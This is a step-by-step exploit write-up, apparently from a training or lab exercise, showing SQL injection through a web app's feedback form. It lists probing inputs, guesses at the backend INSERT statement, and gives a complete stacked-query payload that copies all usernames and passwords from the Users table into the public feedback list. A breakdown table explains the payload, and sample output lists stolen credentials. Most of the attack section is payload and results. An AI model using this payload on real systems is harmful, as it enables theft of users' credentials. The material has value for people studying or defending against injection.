Exfiltrate User Credentials via Feedback Form

This exploit shows how an attacker can use a SQL injection vulnerability in the feedback section to steal usernames and passwords from the database. The attacker tricks the system into running extra SQL code by submitting a specially crafted message.

Vulnerable Feature

- **Feature**: Feedback form at `/dashboard/feedback`
- **Issue**: User input in the `message` field is inserted directly into a SQL query without proper sanitization

How to Exploit

1. Initial Testing

The attacker finds a feedback form that:

- Lets users submit text messages
- Shows those messages publicly

They test the form for SQL injection by submitting inputs like:

```
'

x'

x'); --
```

If these cause errors or strange behavior, it means the system is inserting input directly into SQL code.

2. Understanding the SQL Code Behind the Scenes

The attacker guesses the backend is running something like this:

```
INSERT INTO feedback (user, message, date, read)

VALUES ('some_user', '<user_input>', CURRENT_TIMESTAMP, 0);
```

Since their input goes into the `message` field, they plan their attack to:

- Close the `'` quote around the message
- Provide the rest of the values
- Insert a new SQL command
- Use `--` to ignore the rest of the query

3. The Final Payload

The attacker submits this input in the message box:

```
x', CURRENT_TIMESTAMP, 0); INSERT INTO feedback (user,
message, date, read) SELECT username, password,
CURRENT_TIMESTAMP, 0 FROM Users; --
```

This input ends the original SQL statement and adds a new one to steal all usernames and passwords.

What Happens

- The app runs the attacker's SQL code
- All usernames and passwords from the `Users` table are copied into the `feedback` table
- These stolen credentials appear in the public feedback list

Why This Works

Part	Purpose
`x'`	Closes the original `message` string
`CURRENT_TIMESTAMP, 0)`	Fills in the remaining expected values
`INSERT INTO ... SELECT ...`	Runs a new SQL command to steal data
`--`	Comments out leftover SQL to prevent errors

Results

After submitting the payload, the app displays stolen usernames and passwords as feedback entries on the public page. The attacker can now read all credentials without needing access to the database directly.

Here’s a screenshot of the expected output

admin New

admin123

Apr 14, 2025, 04:42 PM

robert New

12345

Apr 14, 2025, 04:42 PM

dani New

12345

Apr 14, 2025, 04:42 PM

rija New

rija

Apr 14, 2025, 04:42 PM